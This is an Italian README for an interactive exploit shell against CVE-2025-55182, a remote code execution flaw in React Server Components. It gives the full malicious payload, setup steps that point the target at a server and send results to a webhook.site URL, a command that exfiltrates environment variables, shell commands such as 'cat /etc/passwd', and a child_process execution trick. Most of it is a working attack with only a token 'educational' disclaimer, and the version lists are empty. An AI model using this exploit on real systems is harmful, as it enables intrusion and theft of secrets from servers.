CVE-2025-55182 PoC interattivo - React Server Components RCE - Ricerca educativa sulla sicurezza
Shell interattivo per sfruttare CVE-2025-55182, una vulnerabilità di Remote Code Execution nei React Server Components.
Questo strumento è fornito esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI.
CVE-2025-55182 colpisce React Server Components (RSC) in:
La vulnerabilità consente l'esecuzione di codice in remoto (RCE) tramite payload malevoli inviati alle Server Actions.
$@x per riferirsi agli oggetti Chunk interni.then() (simili a Promise)_response, _formData e _prefix controllateFunction tramite la traversata della catena dei prototipi$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
Modifica exploit.js e aggiorna questi valori:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URL
Ottieni un webhook gratuito su: https://webhook.site
node exploit.js
| Comando | Descrizione |
|---|---|
!test | Testa se l'exploit funziona (invia conferma al webhook) |
!env | Esfiltra le variabili d'ambiente (process.env) |
!js <codice> | Esegui JavaScript personalizzato |
!help | Mostra aiuto |
!exit | Esci |
<comando> | Esegui un comando shell (es. whoami, ls, cat /etc/passwd) |
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
I risultati appaiono sul tuo webhook, non nel terminale.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action$@3 crea un riferimento Chunk$3:constructor:constructor attraversa fino a Function_prefix viene passato a Function() ed eseguitorequire() non è disponibileimport() dinamico invece:
import("child_process").then(cp => cp.execSync("whoami"))
Aggiorna a queste versioni per correggere la vulnerabilità:
Licenza MIT - Solo a scopo educativo.
Ricerca sulla sicurezza PoC - Usa responsabilmente.